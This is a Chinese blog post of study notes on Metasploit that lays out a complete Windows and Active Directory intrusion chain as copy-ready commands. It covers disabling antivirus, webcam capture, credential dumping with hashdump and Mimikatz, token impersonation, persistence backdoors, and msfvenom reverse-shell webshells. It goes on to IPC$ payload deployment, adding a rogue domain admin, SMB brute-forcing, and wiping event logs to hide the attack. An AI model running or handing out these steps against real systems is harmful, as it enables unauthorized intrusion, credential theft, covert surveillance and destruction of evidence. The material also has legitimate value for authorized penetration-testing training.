msf技术

msf技术

msf (metasploit framwork)

模块

1.Auxiliaries(辅助模块)

负责执行扫描、嗅探、指纹识别等

2.Exploit(漏洞利用)

针对系统、应用或服务漏洞进行的攻击行为;还有针对系统漏洞而设计的各种POC验证程序,也有相应的EXP利用代码

3.payload(攻击载荷)

传送和植入的可以在目标系统上运行任意命令或执行特定行为的代码

4.Post(后渗透)

取得目标系统远程控制后,进行一系列的后渗透攻击动作,如获取敏感信息、跳板等

5.Encoders(编码)

负责免杀

步骤

  • 扫描目标机,扫端口,扫服务,寻找可利用漏洞
  • 选择并配置一个漏洞利用模块
  • 选择并配置一个攻击载荷模块
  • 选择一个编码技术,绕过杀软
  • 渗透攻击

实用

技巧:namp的 -O -Pn

-Pn不ping,避免被防火墙发现

后渗透:

信息收集

当获得了目标的metasploit shell时,该shell是极其脆弱的,如果是利用浏览器漏洞攻陷了目标机器,用户一旦关闭了浏览器,shell就没办法用了。

1.所以第一时间要进程迁移

将它和目标机中的一个稳定的进程绑定在一起

1
2
3
ps #在kali中输入 `ps`获取目标机的进程
getpid #查看当前进程的pid
migrate 448 #将shell移动到pid为448的进程里

2.系统命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
sysinfo #查看目标机的系统信息
run post/windows/gather/checkvm #检查目标机是否运行在虚拟机上
idletime #查看目标机最近运行时间
route #查看目标机完整的网络设置
getuid #查看当前目标机上渗透成功的用户名
run post/windows/manage/killav #关闭目标机系统杀软
run post/windows/manage/enable_rdp #启动目标机的远程桌面协议,3389
run post/windows/manage/autoroute #查看目标机的本地子网情况
#比如看到了个..172.0的子网
route add #添加这个路由
#route add 192.168.172.0 255.255.255.0 1
#将这个路由添加到了已攻陷主机的路由表中,可以通过被攻陷主机对其它网路攻击了

run post/windows/gather/enum_logged_on_users #列举当前多少用户登录了目标机
run post/windows/gather/enum_applications #列举安装在目标机上的程序

如果有用户将计算机设置为自动登录,下面这个命令用来抓取自动登录的用户名和密码
run windows/gather/credentials/windows_autologin #如果没抓到,往下看
load espia
screengrab/screenshot #抓取此时目标机的屏幕截图
#还有些拓展 webcam_list 查看目标机有无摄像头
# webcam_snap打开目标机摄像头,拍张照片
# webcam_stream 开启直播模式
# 还可以输入shell进入目标机shell,即终端吧,exit回到metasploit会话

3.文件系统命令

搜索文件并执行各种任务

1
2
3
4
5
6
7
1.pwd/getwd #查看当前处于目标机的哪个目录
2.ls
3.cd
4.search -f *.txt -d c:\ #搜索c盘中所有以".txt"为扩展的文件
5.download c: \test.txt /root #将目标机C盘的test.txt下载到攻击机root下
6.upload /root/test.txt c:\ #上传攻击机root目录下的test.txt文件到目标机C盘下

权限提升

没有管理员权限,就获取不到Hash、安装软件、修改防火墙/注册表规则

所以目标权限就是 Guest->User->Administrator->System

纵向提权或横向提权,类似于越权的说法

1
2
shell #进入命令行
whoami /groups #查看我们当前的权限 以标准用户为例吧,提权到管理员

利用本地溢出漏洞,把用户从User组或其他组提升到管理员组

溢出:就是指用户输入的数据超过程序预先设定好的缓存区长度,程序会溢出

法一、利用WMIC

假如,得到了目标机的metaersploit shell后,

1
2
3
4
5
6
getuid #查看获得权限 为test权限
getsystem #尝试提权,如果失败
systeminfo #查看目标机打了哪些补丁,如果此时是2个
wmic qfe get Caption,Description,HotFixID,InstalledOn #列出已安装补丁
#比如现在有一些补丁编号,那么就去使用没有编号的EXP去提权
#如使用MS16-032去提权,对应编号KB3139914

这里介绍下WMIC,是一款命令行管理工具,可以管理本地计算机,(如果有必要的权限),哈可以管理 同一域内所有远程计算机,而被管理的远程计算机不需要事先安装WMIC

WMIC分为交互式和非交互式

交互模式: 只输入wmic,进入WMIC上下文本环境中

非交互:输入wmic及其之后的参数,执行完毕,回到普通cmd下

xp下,低权限用户不能用该命令;win7和win8,低权限可以用wmic

用途

wmic可调取查看目标机的进程、服务、用户(组)、网络连接、已安装补丁、启动项、已安装软件等

好,下面用MS16-032提权

将Meterpreter会话转为后台

1
2
3
4
5
6
msf> search ms16_032 #会出现利用选项
>use windows/local.... #利用选项
>set session 1
> run
#如果提权成功了
>getuid #出现SYSTEM级权限
法二、令牌窃取

即Token,系统的临时密钥,用来决定是否允许这次请求和判断这次请求是哪一用户的;

令牌最大的特点是随机性;分为访问令牌、密保令牌、会话令牌等

如果假冒令牌的话,需要用到Kerberos协议

还是获得了目标机的metersploit shell

1
2
3
4
5
6
7
8
9
10
11
getuid #test权限
getsystem #提权失败
use incognito
list_tokens -u #列出可用token
# Delegation Tokens,即授权令牌,支持交互式登录,比如远程桌面登录访问
# 还有一种是Impersonation Tokens
# 假设获得了一个系统管理员的授权令牌,现在去假冒它
#这个令牌叫 WIN-ssda\Administrator,即目标机主机名\登录用户名
impersonate_token WIN-ssda\\Administrator #两个反斜杠哈
shell
whoami #显示是WIN-ssda\\Administrator,假冒成功
法三、Hash攻击

相当于破解哈希值,直接获取登录密码

1.Hashdump抓取密码

原理

计算机的每个账号,用户名密码都在sam文件里,要访问就必须要”系统级”账号,所以要先提权

在metetsploit shell下

1
2
3
4
>hashdump #导出目标机的sam数据库中的Hash
#在非SYSTEM权限下运行该命令会失败
#可以使用msf模块 run windows/gather/smart_hashdump
#然后就利用彩虹表、暴力去破解哈希值

2.Quarks PwDump

what

win32环境下的系统授权信息导出工具,支持操作系统:

windwos:xp/2003/Vista/7/2008/8

在windwos密码系统中,密码以加密方式保存在/windows/system32/config下的sam文件里;正常情况下,系统启动后,该文件不能被读取,但PwDump就可以

使用

将工具传到目标机,运行,根据help指令,去提取

3.Windows Credentials Editor抓取密码

即WCE,必须在管理员权限下使用,还要注意免杀

使用

在metersploit shell下,upload命令将wce.exe上传到目标主机C盘

进入shell

cd /

输入wce.exe -w 成功提取系统明文管理员的密码

4.Mimikatz抓取密码

限制

windows 2000/xp 系统下无法使用

且该工具必须在 管理员权限下使用

msf自带的有

使用

在获取系统SYSTEM权限后呢,先查看目标机器的架构 sysinfo

如果服务器是64位操作系统,直接用会导致Meterpreter加载32位的mimikatz,所以在64位下,将进程迁徙到一个64位程序进程中,再加载工具

1
2
3
4
5
6
7
8
9
10
11
12
13
meterpreter>migrate 1864 #如果目标机是64位,先迁移到64位的进程(ps找)
> load mimikatz
> help mimikatz #mimikatz_command可使用该工具全部功能
#需要加载一个错误模块得到可用模块的完整列表
>mimikatz_command - f a::
>mimikatz_command - f hash:: #查看hash有lm和ntlm两种
>msv #直接输入msc抓取系统Hash值
>kerberos #抓取系统票据
>wdigest #获取系统账户信息
>samdump #查看该命令可用选项
>mimikatz_command -f samdump::hashes #抓取hash
#得到用户名及其哈希值

后门

what

维持对目标机的控制权;随时连接到目标机,一般是一个隐藏进程(自启动、永久㐏),允许普通的、未授权的用户控制计算机

操作系统后门

1.Cymothoa后门

将shellcode注入现有进程的后门工具;将shellcode伪装成常规程序,只要目标系统不检测内存,发现不了这个后门程序的进程;

后门以允许中的程序为宿主,只要进程关闭或目标重启,就用不了了

使用

1.查看程序PID

linux用 ps -aux

windows 用tasklist

  1. Cymothoa -s可以看到很多shellcode的编号列表

  2. 在目标机中使用Cymothoa -p 982 -s 1 -y 4444

    即将pid为982的进程为宿主进程,选用第一类shellcode,payload服务端口为4444

  3. 攻击机连接目标主机的后门 Nc -nvv 192.168.31.247 4444

2.Persistence后门

一个安装自启动方式的持久性后门程序。

在metersploit 中,获取了目标机的meterpreter shell

1
2
3
4
5
run persistence -h
run persistence -A -S -U -i 60 -p 4321 -r 192.168.x.x
#A自动启动payload程序 S系统启动时加载 U用户登录时启动 X开启时自动加载
#i 回连的时间间隔 p监听反向连接端口号 r目标机ip
sessions #查看已经成功获取的会话

注意:该脚本在目标机上创建文件,会触发杀软,使用前应关闭目标机杀软

web后门

即webshell,网页代码,一句话木马这种;它们运行在服务器端,为攻击者提供执行命令、目录浏览、辅助提权、sql语句执行、反弹shell等功能。

工具代表:蚁剑、冰蝎、哥斯拉

1、Meterpreter后门

metersploit 自带一个php meterpreter的payload,可以创建具有meterpreter功能的php whbshell

步骤

使用msfvenom创建一个webshell.php

上传webshell.php到目标机

运行Metersploit multi-handler开始监听

访问webshell.php页面

获得反弹的Metersploit shell

在终端中输入

1
msfvenom -p php/meterpreter/reverse_tcp LHOST=kali的ip -f raw > shuteer.php

生成php shell

想办法将该shell上传到目标机,演示的话,那就是将它复制到虚拟机的/var/www/html目录

然后嘞,攻击者启动msfconsole

1
2
3
4
msf> use exploit/multi/handler
>set payload php/meterpreter/reverse_tcp
> set lhost 攻击者ip
> run

虚拟机这边自己访问一下 localhost/shuteer.php

攻击者的msf就反弹成功

那后续步骤就是 sysinfo、getuid等命令渗透主机了

2.Aspx Meterpreter后门

利用Metersploit 的 shell_reverse_tcp 的Payload,可以创建有Metersploit功能的各个版本shellcode(Asp、Aspx、msi、vbs、war)

以Aspx为例

1
2
3
4
5
6
7
8
9
10
11
show payloads
use windwos/shell_reverse_tcp
info
set lhost 攻击者ip
set lport 4444
save

generate -h #查看生成各版本的shellcode命令
generate -t aspx #aspx的
#复制下面出现的内容到aspx.aspx文件中

上传到目标机

攻击者在msf中监听

1
2
3
4
5
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 攻击者ip
set lhost 4444
run

如果知道对方的路径的话,访问一下aspx文件,比如

目标机ip/aspx.aspx

那攻击者的msf反弹成功,进入到meterpreter shell中

之后一样,sysinfo和getuid去渗透目标机

内网攻击域渗透

找到一个目标服务器,公网和内网都靠它,拿下它,再谈内网咋搞

websehll(普通权限)->域管权限

1.提权

假如,通过各种方式上传了免杀的payload到了目标服务器上,要么通过webshell工具,要么msf反弹

拿到webshell->提权

先尝试本地溢出漏洞提权

即,现有的exp去利用下,将用户从User组->管理员组

查看权限

1
2
whoami #比如 moasd\q123
net user q123 /domain #查看它的权限 如果是普通域用户权限

查看补丁 systeminfo 是windwos2008的系统

发现补丁很全啊,MS1505,MS15078都不行了

尝试Bypass UAC提权

使用前提:

系统当前用户在管理员组,用户账户控制程序UAC设置为默认,即“仅在程序试图更改我的计算机时,通知我”

且该模块在目标机创建多个文件,易被杀软识别

即绕过Windwos账户控制(UAC),现在具有一个普通域用户的权限

1
2
3
4
msf>use exploit/windows/local/bypassuac
>set session 1
>run
#失败

提权失败,继续渗透

2.信息收集

提权失败,继续收集其他信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
ipconfig

net user #查看本地用户列表
net user /domain #查看域用户
net view /domain #查看有几个域
net view /domain:XXX #查看XXX域内的主机
net group /domain #查看域内的组
net group "domain computers" /domain #查看域内所有主机名
net group "domain admins" /domain #查看域管理员
net group "domain controllers" /domain #查看域控制器
net group "enterprise admins" /domain #查看企业管理组
net time /domain #查看时间服务器
net accounts: 查看本地密码策略
net localgroup: 查看当前计算机中所有组
net localgroup administrators: 查看管理员组的信息(哪些用户为管理员)
net statistics workstation: 查看主机开机时间和开机后的网络状态
net session: 列出本地计算机连接的客户端对话信息
net share: 查看本机共享列表和可访问的域共享列表
net use 本地盘符 \\目标IP地址\目标共享名: 这里目标共享名可以通过对目标执行net share查看,这条命令可以将目标盘符挂载到我们本地

关键是弄清内网的划分

各机器名的命名规则:根据机器名找重要人物的计算机

目标机是否为多层域结构:探测出域管理员名字和域服务器名字

命令清单:

http://t.csdnimg.cn/LbFcr

http://t.csdnimg.cn/HAAKW

3.获取一台服务器权限

目标是域服务器,但如果当前服务器A不能攻击到域服务器B,要么提权;要么攻击可以连到域服务器B的那个服务器C,再用C去攻击B

如果是因为权限问题不能连接到域服务器B,选择下列的方法

添加内网路由,弱口令扫描

powershell对内网扫描

假设socks4a,socks会自动内网扫描

其他

这里有个简单的方法,比如当前服务器A的机器名,yuleiyun12,

那可以尝试 net use yuleiyun131,假设成功了

IPC$渗透

使用windwos系统中默认启动的IPC$共享获得计算机控制权的入侵

假设有一台IPC$主机127.0.0.25

1
2
3
4
5
net use \\127.0.0.25\ipc$ #连接127.0.0.25的ipc$共享
copy srv.exe \\127.0.0.25\ipc$ #复制exe到目标主机
net time \\127.0.0.25\ipc$ #查时间
at \\127.0.0.25 10:50 src.exe #在10:50启动exe(要比主机时间早一点) 现在at已经换了,到时候cmd会提示的
#上面的127.0.0.25,可以换成机器名yuleiyun131

以上就是ipc$用法

实际渗透的时候,可以将免杀后的payload copy过去

然后使用at命令启动木马

返回msf的handler监听即可,反弹了meterpreter shell

1
2
3
4
5
6
7
meterpreter>sysinfo #发现没有SYSTEM权限
>upload /home/64.exe c:\ #上传mimikatz,如果目标机64位,记得先将mimicatz进程迁移到一个64位进程中(migrate 123,再load)
>shell

C:\windwos\system32>cd \
C:>64.exe #比如显示了个域用户叫 yuleiyun.cc
>net user yuleiyun.cc /domain #查看域用户权限

4.powershell寻找域管在线服务

1
C:\Users\yuleiyun.cc>powershell.exe -exec bypass -Command "& {import-Moudle .\powerview.ps1; invoke-UserHunter}"

这个power view脚本来获取当前域管理员在线登录的服务器

好,假如看到域管理员当前在线登录的机器主机名为yuleiyun30,IP为xxxx,此时需要入侵此服务器,然后将其迁移到域管理登录所在的进程,这样便有了 域管理权限

5.获取域管理权限

加入已获取主机名为yuleiyun30的服务器权限,然后渗透域控

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
meterpreter>getuid #查看当前权限
getsystem #提权,假如成了

getuid # 现在的uid是域管理员了
ps #找到域管理所在进程

getuid #LALALA\yuleiyun
getpid
migrate 30568 #Meterpreter shell进程迁移到此进程中
#成功后就获得了域管理权限
#也可以msf窃取令牌,获得权限

shell

C:\windwos\system32> net time
#显示 Current time as \\yuleiyun64.... IP地址为...
#即得到域服务器的主机名
#好好好

net use \\yuleiyun64....\c$ #IPC$渗透
schtasks \\yuleiyun64.... 18:12:13 c:\payload.exe#添加计划任务

现在是在域管理员权限下了,给域控添加一个管理员账户

1
2
3
C:\User\..:>net user yuleiyun111 123456 /ad /domain #添加域管理员账户
net group "domain admins" yuleiyun111 /ad /domain #添加到组
net group "domain admins" /domain #查看域管理员组

6.登录域控制

域控权限到手了。登录域控,抓域控的Hash

常见登录域控方式:

利用IPC上传AT&Schtasks远程执行命令

利用端口转发或Socks登录域控远程桌面

登录对方内网的一台计算机使用Pstools工具包中的PsExec反弹Shell

使用Metasploit下的PsExec、psexec_psh、impacket psexec、pthwinexe、Empire invoke-Psexec等PsExec类工具反弹Shell

使用Metersploit 下的smb_login反弹Meterpreter

使用WMI 进行攻击

PsRemoting posershel远程执行命令

其他

采用最常见、效果最好的方式:用msf下的PsExec反弹Meterpreter,前提以下两点

MSF中的PsExec模块

cuestom模块,需要类似Veil类的工具生成免杀的Payload

1
2
3
4
5
6
msf>use exploit/windows/smb/psexec
> set smbuser yuleiyun111
> set smbpass 123456
>set smbdomain LALALA
>set rhost 目标机IP
>run

反弹成功后,先迁移进程,查看域控的系统信息和sessions

1
2
3
4
5
6
7
meterpreter > migrate 2416
> getuid #显示了SYSTEM权限
> getpid #2416
> sysinfo
>background #会话进后台

msf>sessions #这样下来会有5个

webshell反弹->ipc$入侵->获取域管在线服务器->域

得到域控权限,再来抓Hash

用msf的dumphash或smart_hashdump模块导出用户的Hash

利用Powershell的相应模块导出Hash

使用WCE、Mimikatz等工具

这里使用dumphash模块

1
2
3
4
msf> use /post/windows/gather/smart_hashdump #必须SYSTEM权限
show options
set session 5
run #抓取域Hash

7.SMB爆破内网

有了域控的密码,接下来只要快速在内网扩大控制权限,具体如下:

利用当前获取的域控账户密码,对整个域控IP段扫描

使用SMB下的smb_login模块

端口转发或Socks代理进内网

现在msf添加路由,然后使用smb_login模块或者psexec_scanner模块爆破

1
2
3
4
5
6
7
8
9
10
meterpreter > background
> route add 域服务器ip 子网掩码 2 #添加路由
> search smb_login

>use auxiliary/scanner/smb/smb_login
>set rhosts ip/24 #添加路由
>set smbuser yuleiyu.cc
>set smbpass ...
>set smbdomain LALALA
>set threads 16

开始扫描内网了

msf > creds 整理扫描结构

已经获取了大量内网服务器的密码了

使用Meterpreter的端口转发。或者msf下的Socks4a模块

这里用Meterpreter的端口转发

1
2
meterpreter > portfwd add -l 5555 -p 3389 -r 127.0.0.1
> background

清理日志

删除之前添加的域管理账号

1
2
C:\windows\system32 > net user yuleiyun111 /del #删除添加的用户账号
> logoff

删除所有上传的工具

删除应用程序、系统和安全日志

1
meterpreter > clearev  #删除日志

关闭所有Meterpreter连接

1
2
msf exploit(psexec) > sessions
> sessions -K

参考

《Web安全攻防渗透测试实战指南》

  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2023-2025 是羽泪云诶
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~

支付宝
微信